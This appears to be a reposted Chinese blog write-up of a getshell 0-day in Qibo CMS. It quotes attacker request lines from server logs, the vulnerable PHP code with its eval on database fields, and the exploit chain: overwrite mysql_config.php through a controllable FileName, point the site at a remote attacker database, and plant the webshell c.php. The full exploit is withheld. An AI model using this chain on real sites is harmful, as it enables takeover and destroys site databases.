好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

我是如何和大牛搞定齐博cmsgetshell 0-day的 - 网站安

Blog:http://fuck.0day5.com、http://www.fuckgcd.net

当天晚上,我和妹子决裂了,是的,决裂了,正在我伤心之时,小伙伴告诉我,齐博cms出问题了,才发临时补丁,然后附上了连接http://bbs.qibosoft.com/read-forum-tid-419640.htm

看到:

哟,说明已经被搞了嘛,然后还有个站长贴出了c.php的代码

解密后看到

密码为FENG

 

绝逼是有黑阔在批量这个漏洞了,通过百度去采集一下do/c.php这个

然后咱们根据这个读取一下日志分析分析

在十月一号19点5分生成的日志如下:

/do/fujsarticle.php?type=like&FileName=data/mysql_config.php&submit=fuck HTTP/1.1″ 200 26 [-] [-] /do/jf.php?dbuser=getshell&dbhost=xxx.xxx.xxx.xxx&dbpw=shellpwd&dbname=getshell&pre=qb_&dbcharset=gbk&submit=getshell HTTP/1.1″ 200 17985 [-] [-] /do/c.php HTTP/1.1″ 200 – [-] [Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]

下载源程序下来审计,首先找到/do/fujsarticle.php文件

$FileName=dirname(__FILE__)."/cache/fujsarticle_cache/"; if($type=='like'){ //只有type=like时候才 $FileName.=floor($id/3000)."/"; }else{ unset($id); }

 

在其中 require_once(dirname(__FILE__).]/global.php]);

可以看到,由于加载了global.php文件,所以前面FileName的get变量再次extract了

所以FIleName可控~

然后看到/do/jf.php

$query = $db-&gt;query("SELECT * FROM {$pre}jfsort ORDER BY list"); while($rs = $db-&gt;fetch_array($query)){ $fnameDB[$rs[fid]]=$rs[name]; $query2 = $db-&gt;query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list"); while($rs2 = $db-&gt;fetch_array($query2)){ eval("\$rs2[title]=\"$rs2[title]\";"); eval("\$rs2[content]=\"$rs2[content]\";"); $jfDB[$rs[fid]][]=$rs2; } }

 

看到在fjabout里读取到的title和content都执行了

经过小伙伴们的提点,先使用fujsarticle.php对数据库配置文件data/mysql_config.php进行覆盖,然后再使用远程的数据库内的xx_fjabout内的内容生成了一句话

 

哈哈,思路就是这个,exp就不发了,因为shell上一个就会破坏数据库,拿一个shell死一个网站

 

漏洞证明如下(只写了个phpinfo)

在此,谢谢ztz,hellove,maple三位小伙伴的教导~~

查看更多关于我是如何和大牛搞定齐博cmsgetshell 0-day的 - 网站安的详细内容...

  阅读:51次